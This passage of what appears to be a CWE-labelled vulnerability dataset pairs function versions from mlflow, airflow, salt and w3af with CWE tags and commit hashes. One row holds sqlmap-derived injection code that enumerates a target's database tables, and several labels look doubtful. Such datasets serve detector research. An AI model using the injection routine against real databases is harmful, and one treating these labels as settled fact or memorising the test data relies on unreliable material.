                return 'repository', repo_commit.strip().decode('ascii')
            else:
                return u'', u''
        par_path = p.dirname(par_path)
                
    return u'', u''"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/tracking/file_store.py,0,"def _create_experiment_with_id(self, name, experiment_id, artifact_uri, tags):
        artifact_uri = artifact_uri or append_to_uri_path(
            self.artifact_root_uri, str(experiment_id)
        )
        self._check_root_dir()
        meta_dir = mkdir(self.root_directory, str(experiment_id))
        creation_time = int(time.time() * 1000)
        experiment = Experiment(
            experiment_id,
            name,
            artifact_uri,
            LifecycleStage.ACTIVE,
            creation_time=creation_time,
            last_update_time=creation_time,
        )
        experiment_dict = dict(experiment)
        # tags are added to the file system and are not written to this dict on write
        # As such, we should not include them in the meta file.
        del experiment_dict[""tags""]
        write_yaml(meta_dir, FileStore.META_DATA_FILE_NAME, experiment_dict)
        if tags is not None:
            for tag in tags:
                self.set_experiment_tag(experiment_id, tag)
        return experiment_id",,mlflow/mlflow,a1da0b31945cd9845850168640c94165c5e9b613,"def _create_experiment_with_id(self, name, experiment_id, artifact_uri, tags):
        artifact_uri = artifact_uri or append_to_uri_path(
            self.artifact_root_uri, str(experiment_id)
        )
        self._check_root_dir()
        meta_dir = mkdir(self.root_directory, str(experiment_id))
        experiment = Experiment(experiment_id, name, artifact_uri, LifecycleStage.ACTIVE)
        experiment_dict = dict(experiment)
        # tags are added to the file system and are not written to this dict on write
        # As such, we should not include them in the meta file.
        del experiment_dict[""tags""]
        write_yaml(meta_dir, FileStore.META_DATA_FILE_NAME, experiment_dict)
        if tags is not None:
            for tag in tags:
                self.set_experiment_tag(experiment_id, tag)
        return experiment_id"
,UNKNOWN,UNKNOWN,airflow/api_connexion/endpoints/variable_endpoint.py,1,"def get_variables(
    *,
    limit: int | None,
    order_by: str = ""id"",
    offset: int | None = None,
    session: Session = NEW_SESSION,
) -> Response:
    """"""Get all variable values.""""""
    total_entries = session.execute(select(func.count(Variable.id))).scalar()
    to_replace = {""value"": ""val""}
    allowed_sort_attrs = [""value"", ""key"", ""id""]
    query = select(Variable)
    query = apply_sorting(query, order_by, to_replace, allowed_sort_attrs)
    variables = session.scalars(query.offset(offset).limit(limit)).all()
    return variable_collection_schema.dump(
        {
            ""variables"": variables,
            ""total_entries"": total_entries,
        }
    )",CWE-89,apache/airflow,b979debb511119ba4a0ee709e1b2809d4041dad3,"def get_variables(
    *,
    limit: int | None,
    order_by: str = ""id"",
    offset: int | None = None,
    session: Session = NEW_SESSION,
) -> Response:
    """"""Get all variable values.""""""
    total_entries = session.execute(select(func.count(Variable.id))).scalar()
    to_replace = {""value"": ""val""}
    allowed_sort_attrs = [""value"", ""key"", ""id""]
    query = select(Variable)
    query = apply_sorting(query, order_by, to_replace, allowed_sort_attrs)
    variables = session.scalars(query.offset(offset).limit(limit)).all()
    return variable_collection_schema.dump(
        {
            ""variables"": variables,
            ""total_entries"": total_entries,
        }
    )"
,UNKNOWN,UNKNOWN,tests/pytests/unit/cloud/clouds/test_ec2.py,1,"def test__validate_key_path_and_mode():
    # Key file exists
    with patch(""os.path.exists"", return_value=True):
        with patch(""os.stat"") as patched_stat:
            type(patched_stat.return_value).st_mode = PropertyMock(return_value=0o644)
            with pytest.raises(SaltCloudSystemExit):
                ec2._validate_key_path_and_mode(""key_file"")

            type(patched_stat.return_value).st_mode = PropertyMock(return_value=0o600)
            assert ec2._validate_key_path_and_mode(""key_file"") is True

            type(patched_stat.return_value).st_mode = PropertyMock(return_value=0o400)
            assert ec2._validate_key_path_and_mode(""key_file"") is True

    # Key file does not exist
    with patch(""os.path.exists"", return_value=False):
        with pytest.raises(SaltCloudSystemExit):
            ec2._validate_key_path_and_mode(""key_file"")",CWE-703,saltstack/salt,277e56b1139f868f89455ccf368e20a336eb2ee5,"def test__validate_key_path_and_mode():
    # Key file exists
    with patch(""os.path.exists"", return_value=True):
        with patch(""os.stat"") as patched_stat:
            type(patched_stat.return_value).st_mode = PropertyMock(return_value=0o644)
            with pytest.raises(SaltCloudSystemExit):
                ec2._validate_key_path_and_mode(""key_file"")

            type(patched_stat.return_value).st_mode = PropertyMock(return_value=0o600)
            assert ec2._validate_key_path_and_mode(""key_file"") is True

            type(patched_stat.return_value).st_mode = PropertyMock(return_value=0o400)
            assert ec2._validate_key_path_and_mode(""key_file"") is True

    # Key file does not exist
    with patch(""os.path.exists"", return_value=False):
        with pytest.raises(SaltCloudSystemExit):
            ec2._validate_key_path_and_mode(""key_file"")"
,UNKNOWN,UNKNOWN,salt/client/api.py,1,"def run(self, cmd):
        '''
        Execute the salt command given by cmd dict.

        cmd is a dictionary of the following form:

        {
            'mode': 'modestring',
            'fun' : 'modulefunctionstring',
            'kwarg': functionkeywordargdictionary,
            'tgt' : 'targetpatternstring',
            'tgt_type' : 'targetpatterntype',
            'ret' : 'returner namestring',
            'timeout': 'functiontimeout',
            'arg' : 'functionpositionalarg sequence',
            'token': 'salttokenstring',
            'username': 'usernamestring',
            'password': 'passwordstring',
            'eauth': 'eauthtypestring',
        }

        Implied by the fun is which client is used to run the command, that is, either
        the master local minion client, the master runner client, or the master wheel client.

        The cmd dict items are as follows:

        mode: either 'sync' or 'asynchronous'. Defaults to 'asynchronous' if missing
        fun: required. If the function is to be run on the master using either
            a wheel or runner client then the fun: includes either
            'wheel.' or 'runner.' as a prefix and has three parts separated by '.'.
            Otherwise the fun: specifies a module to be run on a minion via the local
            minion client.
            Example:
                fun of 'wheel.config.values' run with master wheel client
                fun of 'runner.manage.status' run with master runner client
                fun of 'test.ping' run with local minion client
                fun of 'wheel.foobar' run with with local minion client not wheel
        kwarg: A dictionary of keyword function parameters to be passed to the eventual
               salt function specified by fun:
        tgt: Pattern string specifying the targeted minions when the implied client is local
        tgt_type: Optional target pattern type string when client is local minion.
            Defaults to 'glob' if missing
        ret: Optional name string of returner when local minion client.
        arg: Optional positional argument string when local minion client
        token: the salt token. Either token: is required or the set of username:,
            password: , and eauth:
        username: the salt username. Required if token is missing.
        password: the user's password. Required if token is missing.
        eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing

        '''
        cmd = dict(cmd)  # make copy
        client = 'minion'  # default to local minion client
        mode = cmd.get('mode', 'asynchronous')  # default to 'asynchronous'

        # check for wheel or runner prefix to fun name to use wheel or runner client
        funparts = cmd.get('fun', '').split('.')
        if len(funparts) > 2 and funparts[0] in ['wheel', 'runner']:  # master
            client = funparts[0]
            cmd['fun'] = '.'.join(funparts[1:])  # strip prefix

        if not ('token' in cmd or
                ('eauth' in cmd and 'password' in cmd and 'username' in cmd)):
            raise EauthAuthenticationError('No authentication credentials given')

        executor = getattr(self, '{0}_{1}'.format(client, mode))
        result = executor(**cmd)
        return result",CWE-259,saltstack/salt,35eaebb8a43a5740788668d3ae340a159e6625ac,"def run(self, cmd):
        '''
        Execute the salt command given by cmd dict.

        cmd is a dictionary of the following form:

        {
            'mode': 'modestring',
            'fun' : 'modulefunctionstring',
            'kwarg': functionkeywordargdictionary,
            'tgt' : 'targetpatternstring',
            'tgt_type' : 'targetpatterntype',
            'ret' : 'returner namestring',
            'timeout': 'functiontimeout',
            'arg' : 'functionpositionalarg sequence',
            'token': 'salttokenstring',
            'username': 'usernamestring',
            'password': 'passwordstring',
            'eauth': 'eauthtypestring',
        }

        Implied by the fun is which client is used to run the command, that is, either
        the master local minion client, the master runner client, or the master wheel client.

        The cmd dict items are as follows:

        mode: either 'sync' or 'async'. Defaults to 'async' if missing
        fun: required. If the function is to be run on the master using either
            a wheel or runner client then the fun: includes either
            'wheel.' or 'runner.' as a prefix and has three parts separated by '.'.
            Otherwise the fun: specifies a module to be run on a minion via the local
            minion client.
            Example:
                fun of 'wheel.config.values' run with master wheel client
                fun of 'runner.manage.status' run with master runner client
                fun of 'test.ping' run with local minion client
                fun of 'wheel.foobar' run with with local minion client not wheel
        kwarg: A dictionary of keyword function parameters to be passed to the eventual
               salt function specified by fun:
        tgt: Pattern string specifying the targeted minions when the implied client is local
        tgt_type: Optional target pattern type string when client is local minion.
            Defaults to 'glob' if missing
        ret: Optional name string of returner when local minion client.
        arg: Optional positional argument string when local minion client
        token: the salt token. Either token: is required or the set of username:,
            password: , and eauth:
        username: the salt username. Required if token is missing.
        password: the user's password. Required if token is missing.
        eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing

        '''
        cmd = dict(cmd)  # make copy
        client = 'minion'  # default to local minion client
        mode = cmd.get('mode', 'asynchronous')  # default to 'asynchronous'

        # check for wheel or runner prefix to fun name to use wheel or runner client
        funparts = cmd.get('fun', '').split('.')
        if len(funparts) > 2 and funparts[0] in ['wheel', 'runner']:  # master
            client = funparts[0]
            cmd['fun'] = '.'.join(funparts[1:])  # strip prefix

        if not ('token' in cmd or
                ('eauth' in cmd and 'password' in cmd and 'username' in cmd)):
            raise EauthAuthenticationError('No authentication credentials given')

        executor = getattr(self, '{0}_{1}'.format(client, mode))
        result = executor(**cmd)
        return result"
,UNKNOWN,UNKNOWN,tests/providers/snowflake/hooks/test_snowflake.py,1,"def test_get_conn_params(self):
        conn_params_shouldbe = {'user': 'user',
                                'password': 'pw',
                                'schema': 'public',
                                'database': 'db',
                                'account': 'airflow',
                                'warehouse': 'af_wh',
                                'region': 'af_region',
                                'role': 'af_role'}
        self.assertEqual(self.db_hook.snowflake_conn_id, 'snowflake_default')  # pylint: disable=no-member
        self.assertEqual(conn_params_shouldbe, self.db_hook._get_conn_params())",CWE-259,apache/airflow,297ad30885eeb77c062f37df78a78f381e7d140e,"def test_get_conn_params(self):
        conn_params_shouldbe = {'user': 'user',
                                'password': 'pw',
                                'schema': 'public',
                                'database': 'db',
                                'account': 'airflow',
                                'warehouse': 'af_wh',
                                'region': 'af_region',
                                'role': 'af_role'}
        self.assertEqual(conn_params_shouldbe, self.db_hook._get_conn_params())"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/search.py,0,"def searchTable(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = ""information_schema not available, ""
            errMsg += ""back-end DBMS is MySQL < 5.0""
            bruteForce = True

        if bruteForce:
            message = ""do you want to use common table existence check? %s"" % (""[Y/n/q]"" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else ""[y/N/q]"")
            test = readInput(message, default=""Y"" if ""Y"" in message else ""N"")

            if test[0] in (""n"", ""N""):
                return
            elif test[0] in (""q"", ""Q""):
                raise SqlmapUserQuitException
            else:
                regex = ""|"".join(conf.tbl.split("",""))
                return tableExists(paths.COMMON_TABLES, regex)

        foundTbls = {}
        tblList = conf.tbl.split("","")
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        whereDbsQuery = """"
        tblConsider, tblCondParam = self.likeOrExact(""table"")

        for tbl in tblList:
            values = []
            tbl = safeSQLIdentificatorNaming(tbl, True)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD):
                tbl = tbl.upper()

            infoMsg = ""searching table""
            if tblConsider == ""1"":
                infoMsg += ""s like""
            infoMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split("","")
                whereDbsQuery = "" AND ("" + "" OR "".join(""%s = '%s'"" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + "")""
                infoMsg += "" for database%s '%s'"" % (""s"" if len(_) > 1 else """", "", "".join(db for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = """".join("" AND '%s' != %s"" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
                infoMsg2 = ""skipping system database%s '%s'"" % (""s"" if len(self.excludeDbsList) > 1 else """", "", "".join(db for db in self.excludeDbsList))
                logger.info(infoMsg2)

            logger.info(infoMsg)

            tblQuery = ""%s%s"" % (tblCond, tblCondParam)
            tblQuery = tblQuery % tbl

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                query = rootQuery.inband.query
                query += tblQuery
                query += whereDbsQuery
                values = inject.getValue(query, blind=False, time=False)

                if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    newValues = []

                    if isinstance(values, basestring):
                        values = [values]
                    for value in values:
                        dbName = ""SQLite"" if Backend.isDbms(DBMS.SQLITE) else ""Firebird""
                        newValues.append([""%s%s"" % (dbName, METADB_SUFFIX), value])

                    values = newValues

                for foundDb, foundTbl in filterPairValues(values):
                    foundDb = safeSQLIdentificatorNaming(foundDb)
                    foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                    if foundDb is None or foundTbl is None:
                        continue

                    if foundDb in foundTbls:
                        foundTbls[foundDb].append(foundTbl)
                    else:
                        foundTbls[foundDb] = [foundTbl]

            if not values and isInferenceAvailable() and not conf.direct:
                if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                    if len(whereDbsQuery) == 0:
                        infoMsg = ""fetching number of databases with table""
                        if tblConsider == ""1"":
                            infoMsg += ""s like""
                        infoMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                        logger.info(infoMsg)

                        query = rootQuery.blind.count
                        query += tblQuery
                        query += whereDbsQuery
                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = ""no databases have table""
                            if tblConsider == ""1"":
                                warnMsg += ""s like""
                            warnMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query
                            query += tblQuery
                            query += whereDbsQuery
                            if Backend.isDbms(DBMS.DB2):
                                query += "") AS foobar""
                            query = agent.limitQuery(index, query)

                            foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            foundDb = safeSQLIdentificatorNaming(foundDb)

                            if foundDb not in foundTbls:
                                foundTbls[foundDb] = []

                            if tblConsider == ""2"":
                                foundTbls[foundDb].append(tbl)

                        if tblConsider == ""2"":
                            continue
                    else:
                        for db in conf.db.split("",""):
                            if db not in foundTbls:
                                foundTbls[db] = []
                else:
                    dbName = ""SQLite"" if Backend.isDbms(DBMS.SQLITE) else ""Firebird""
                    foundTbls[""%s%s"" % (dbName, METADB_SUFFIX)] = []

                for db in foundTbls.keys():
                    db = safeSQLIdentificatorNaming(db)

                    infoMsg = ""fetching number of table""
                    if tblConsider == ""1"":
                        infoMsg += ""s like""
                    infoMsg += "" '%s' in database '%s'"" % (unsafeSQLIdentificatorNaming(tbl), db)
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = query % unsafeSQLIdentificatorNaming(db)
                    query += "" AND %s"" % tblQuery
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = ""no table""
                        if tblConsider == ""1"":
                            warnMsg += ""s like""
                        warnMsg += "" '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s'"" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2

                        if Backend.isDbms(DBMS.FIREBIRD):
                            query = query % index

                        if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                            query = query % unsafeSQLIdentificatorNaming(db)

                        query += "" AND %s"" % tblQuery

                        if not Backend.isDbms(DBMS.FIREBIRD):
                            query = agent.limitQuery(index, query)

                        foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        kb.hintValue = foundTbl
                        foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
                        foundTbls[db].append(foundTbl)

        if not foundTbls:
            warnMsg = ""no databases contain any of the provided tables""
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)",,andresriancho/w3af,ff160abf104adba5962775a1b9d3869bb8669bd4,"def searchTable(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = ""information_schema not available, ""
            errMsg += ""back-end DBMS is MySQL < 5.0""
            bruteForce = True

        if bruteForce:
            message = ""do you want to use common table existence check? %s"" % (""[Y/n/q]"" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else ""[y/N/q]"")
            test = readInput(message, default=""Y"" if ""Y"" in message else ""N"")

            if test[0] in (""n"", ""N""):
                return
            elif test[0] in (""q"", ""Q""):
                raise SqlmapUserQuitException
            else:
                regex = ""|"".join(conf.tbl.split("",""))
                return tableExists(paths.COMMON_TABLES, regex)

        foundTbls = {}
        tblList = conf.tbl.split("","")
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        whereDbsQuery = """"
        tblConsider, tblCondParam = self.likeOrExact(""table"")

        for tbl in tblList:
            values = []
            tbl = safeSQLIdentificatorNaming(tbl, True)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD):
                tbl = tbl.upper()

            infoMsg = ""searching table""
            if tblConsider == ""1"":
                infoMsg += ""s like""
            infoMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split("","")
                whereDbsQuery = "" AND ("" + "" OR "".join(""%s = '%s'"" % (dbCond, unsafeSQLIdentificatorNaming(db)) for db in _) + "")""
                infoMsg += "" for database%s '%s'"" % (""s"" if len(_) > 1 else """", "", "".join(db for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = """".join("" AND '%s' != %s"" % (unsafeSQLIdentificatorNaming(db), dbCond) for db in self.excludeDbsList)
                infoMsg2 = ""skipping system database%s '%s'"" % (""s"" if len(self.excludeDbsList) > 1 else """", "", "".join(db for db in self.excludeDbsList))
                logger.info(infoMsg2)

            logger.info(infoMsg)

            tblQuery = ""%s%s"" % (tblCond, tblCondParam)
            tblQuery = tblQuery % tbl

            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                query = rootQuery.inband.query
                query += tblQuery
                query += whereDbsQuery
                values = inject.getValue(query, blind=False, time=False)

                if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    newValues = []

                    if isinstance(values, basestring):
                        values = [values]
                    for value in values:
                        dbName = ""SQLite"" if Backend.isDbms(DBMS.SQLITE) else ""Firebird""
                        newValues.append([""%s%s"" % (dbName, METADB_SUFFIX), value])

                    values = newValues

                for foundDb, foundTbl in filterPairValues(values):
                    foundDb = safeSQLIdentificatorNaming(foundDb)
                    foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                    if foundDb is None or foundTbl is None:
                        continue

                    if foundDb in foundTbls:
                        foundTbls[foundDb].append(foundTbl)
                    else:
                        foundTbls[foundDb] = [foundTbl]

            if not values and isInferenceAvailable() and not conf.direct:
                if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                    if len(whereDbsQuery) == 0:
                        infoMsg = ""fetching number of databases with table""
                        if tblConsider == ""1"":
                            infoMsg += ""s like""
                        infoMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                        logger.info(infoMsg)

                        query = rootQuery.blind.count
                        query += tblQuery
                        query += whereDbsQuery
                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = ""no databases have table""
                            if tblConsider == ""1"":
                                warnMsg += ""s like""
                            warnMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(tbl)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query
                            query += tblQuery
                            query += whereDbsQuery
                            if Backend.isDbms(DBMS.DB2):
                                query += "") AS foobar""
                            query = agent.limitQuery(index, query)

                            foundDb = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            foundDb = safeSQLIdentificatorNaming(foundDb)

                            if foundDb not in foundTbls:
                                foundTbls[foundDb] = []

                            if tblConsider == ""2"":
                                foundTbls[foundDb].append(tbl)

                        if tblConsider == ""2"":
                            continue
                    else:
                        for db in conf.db.split("",""):
                            foundTbls[db] = []
                else:
                    dbName = ""SQLite"" if Backend.isDbms(DBMS.SQLITE) else ""Firebird""
                    foundTbls[""%s%s"" % (dbName, METADB_SUFFIX)] = []

                for db in foundTbls.keys():
                    db = safeSQLIdentificatorNaming(db)

                    infoMsg = ""fetching number of table""
                    if tblConsider == ""1"":
                        infoMsg += ""s like""
                    infoMsg += "" '%s' in database '%s'"" % (unsafeSQLIdentificatorNaming(tbl), db)
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                        query = query % unsafeSQLIdentificatorNaming(db)
                    query += "" AND %s"" % tblQuery
                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = ""no table""
                        if tblConsider == ""1"":
                            warnMsg += ""s like""
                        warnMsg += "" '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s'"" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2

                        if Backend.isDbms(DBMS.FIREBIRD):
                            query = query % index

                        if Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.FIREBIRD):
                            query = query % unsafeSQLIdentificatorNaming(db)

                        query += "" AND %s"" % tblQuery

                        if not Backend.isDbms(DBMS.FIREBIRD):
                            query = agent.limitQuery(index, query)

                        foundTbl = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        kb.hintValue = foundTbl
                        foundTbl = safeSQLIdentificatorNaming(foundTbl, True)
                        foundTbls[db].append(foundTbl)

        if not foundTbls:
            warnMsg = ""no databases contain any of the provided tables""
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)"
,UNKNOWN,UNKNOWN,mlflow/pyfunc/__init__.py,1,"def spark_udf(
    spark,
    model_uri,
    result_type=None,
    env_manager=None,
    params: Optional[dict[str, Any]] = None,
    extra_env: Optional[dict[str, str]] = None,
    prebuilt_env_uri: Optional[str] = None,
    model_config: Optional[Union[str, Path, dict[str, Any]]] = None,
):
    """"""
    A Spark UDF that can be used to invoke the Python function formatted model.

    Parameters passed to the UDF are forwarded to the model as a DataFrame where the column names
    are ordinals (0, 1, ...). On some versions of Spark (3.0 and above), it is also possible to
    wrap the input in a struct. In that case, the data will be passed as a DataFrame with column
    names given by the struct definition (e.g. when invoked as my_udf(struct('x', 'y')), the model
    will get the data as a pandas DataFrame with 2 columns 'x' and 'y').

    If a model contains a signature with tensor spec inputs, you will need to pass a column of
    array type as a corresponding UDF argument. The column values of which must be one dimensional
    arrays. The UDF will reshape the column values to the required shape with 'C' order
    (i.e. read / write the elements using C-like index order) and cast the values as the required
    tensor spec type.

    If a model contains a signature, the UDF can be called without specifying column name
    arguments. In this case, the UDF will be called with column names from signature, so the
    evaluation dataframe's column names must match the model signature's column names.

    The predictions are filtered to contain only the columns that can be represented as the
    ``result_type``. If the ``result_type`` is string or array of strings, all predictions are
    converted to string. If the result type is not an array type, the left most column with
    matching type is returned.

    .. note::
        Inputs of type ``pyspark.sql.types.DateType`` are not supported on earlier versions of
        Spark (2.4 and below).

    .. note::
        When using Databricks Connect to connect to a remote Databricks cluster,
        the Databricks cluster must use runtime version >= 16, and when 'spark_udf'
        param 'env_manager' is set as 'virtualenv', the 'prebuilt_env_uri' param is
        required to be specified.

    .. note::
        Please be aware that when operating in Databricks Serverless,
        spark tasks run within the confines of the Databricks Serverless UDF sandbox.
        This environment has a total capacity limit of 1GB, combining both available
        memory and local disk capacity. Furthermore, there are no GPU devices available
        in this setup. Therefore, any deep-learning models that contain large weights
        or require a GPU are not suitable for deployment on Databricks Serverless.

    .. code-block:: python
        :caption: Example

        from pyspark.sql.functions import struct

        predict = mlflow.pyfunc.spark_udf(spark, ""/my/local/model"")
        df.withColumn(""prediction"", predict(struct(""name"", ""age""))).show()

    Args:
        spark: A SparkSession object.
        model_uri: The location, in URI format, of the MLflow model with the
            :py:mod:`mlflow.pyfunc` flavor. For example:

            - ``/Users/me/path/to/local/model``
            - ``relative/path/to/local/model``
            - ``s3://my_bucket/path/to/model``
            - ``runs:/<mlflow_run_id>/run-relative/path/to/model``
            - ``models:/<model_name>/<model_version>``
            - ``models:/<model_name>/<stage>``
            - ``mlflow-artifacts:/path/to/model``

            For more information about supported URI schemes, see
            `Referencing Artifacts <https://www.mlflow.org/docs/latest/concepts.html#
            artifact-locations>`_.

        result_type: the return type of the user-defined function. The value can be either a
            ``pyspark.sql.types.DataType`` object or a DDL-formatted type string. Only a primitive
            type, an array ``pyspark.sql.types.ArrayType`` of primitive type, or a struct type
            containing fields of above 2 kinds of types are allowed.
            If unspecified, it tries to infer result type from model signature
            output schema, if model output schema is not available, it fallbacks to use ``double``
            type.

            The following classes of result type are supported:

            - ""int"" or ``pyspark.sql.types.IntegerType``: The leftmost integer that can fit in an
              ``int32`` or an exception if there is none.

            - ""long"" or ``pyspark.sql.types.LongType``: The leftmost long integer that can fit in an
              ``int64`` or an exception if there is none.

            - ``ArrayType(IntegerType|LongType)``: All integer columns that can fit into the
              requested size.

            - ""float"" or ``pyspark.sql.types.FloatType``: The leftmost numeric result cast to
              ``float32`` or an exception if there is none.

            - ""double"" or ``pyspark.sql.types.DoubleType``: The leftmost numeric result cast to
              ``double`` or an exception if there is none.

            - ``ArrayType(FloatType|DoubleType)``: All numeric columns cast to the requested type or
              an exception if there are no numeric columns.

            - ""string"" or ``pyspark.sql.types.StringType``: The leftmost column converted to
              ``string``.

            - ""boolean"" or ""bool"" or ``pyspark.sql.types.BooleanType``: The leftmost column
              converted to ``bool`` or an exception if there is none.

            - ``ArrayType(StringType)``: All columns converted to ``string``.

            - ""field1 FIELD1_TYPE, field2 FIELD2_TYPE, ..."": A struct type containing multiple
              fields separated by comma, each field type must be one of types listed above.

        env_manager: The environment manager to use in order to create the python environment
            for model inference. Note that environment is only restored in the context
            of the PySpark UDF; the software environment outside of the UDF is
            unaffected. If `prebuilt_env_uri` parameter is not set, the default value
            is ``local``, and the following values are supported:

            - ``virtualenv``: Use virtualenv to restore the python environment that
              was used to train the model.
            - ``conda``: (Recommended) Use Conda to restore the software environment
              that was used to train the model.
            - ``local``: Use the current Python environment for model inference, which
              may differ from the environment used to train the model and may lead to
              errors or invalid predictions.

            If the `prebuilt_env_uri` parameter is set, `env_manager` parameter should not
            be set.

        params: Additional parameters to pass to the model for inference.

        extra_env: Extra environment variables to pass to the UDF executors.

        prebuilt_env_uri: The path of the prebuilt env archive file created by
            `mlflow.pyfunc.build_model_env` API.
            This parameter can only be used in Databricks Serverless notebook REPL,
            Databricks Shared cluster notebook REPL, and Databricks Connect client
            environment.
            The path can be either local file path or DBFS path such as
            'dbfs:/Volumes/...', in this case, MLflow automatically downloads it
            to local temporary directory, ""MLFLOW_MODEL_ENV_DOWNLOADING_TEMP_DIR""
            environmental variable can be set to specify the temporary directory
            to use.

            If this parameter is set, `env_manger` parameter must not be set.

        model_config: The model configuration to set when loading the model.
            See 'model_config' argument in `mlflow.pyfunc.load_model` API for details.

    Returns:
        Spark UDF that applies the model's ``predict`` method to the data and returns a
        type specified by ``result_type``, which by default is a double.
    """"""

    # Scope Spark import to this method so users don't need pyspark to use non-Spark-related
    # functionality.
    from pyspark.sql.functions import pandas_udf
    from pyspark.sql.types import (
        ArrayType,
        BooleanType,
        DoubleType,
        FloatType,
        IntegerType,
        LongType,
        StringType,
    )
    from pyspark.sql.types import StructType as SparkStructType

    from mlflow.pyfunc.spark_model_cache import SparkModelCache
    from mlflow.utils._spark_utils import _SparkDirectoryDistributor

    is_spark_connect = is_spark_connect_mode()
    # Used in test to force install local version of mlflow when starting a model server
    mlflow_home = os.environ.get(""MLFLOW_HOME"")
    openai_env_vars = mlflow.openai._OpenAIEnvVar.read_environ()
    mlflow_testing = _MLFLOW_TESTING.get_raw()

    if prebuilt_env_uri:
        if env_manager is not None:
            raise MlflowException(
                ""If 'prebuilt_env_uri' parameter is set, 'env_manager' parameter can't be set.""
            )
        env_manager = _EnvManager.VIRTUALENV
    else:
        env_manager = env_manager or _EnvManager.LOCAL

    _EnvManager.validate(env_manager)

    if is_spark_connect:
        is_spark_in_local_mode = False
    else:
        # Check whether spark is in local or local-cluster mode
        # this case all executors and driver share the same filesystem
        is_spark_in_local_mode = spark.conf.get(""spark.master"").startswith(""local"")

    is_dbconnect_mode = is_databricks_connect(spark)
    if prebuilt_env_uri is not None and not is_dbconnect_mode:
        raise RuntimeError(
            ""'prebuilt_env' parameter can only be used in Databricks Serverless ""
            ""notebook REPL, atabricks Shared cluster notebook REPL, and Databricks Connect client ""
            ""environment.""
        )

    if prebuilt_env_uri is None and is_dbconnect_mode and not is_in_databricks_runtime():
        raise RuntimeError(
            ""'prebuilt_env_uri' param is required if using Databricks Connect to connect ""
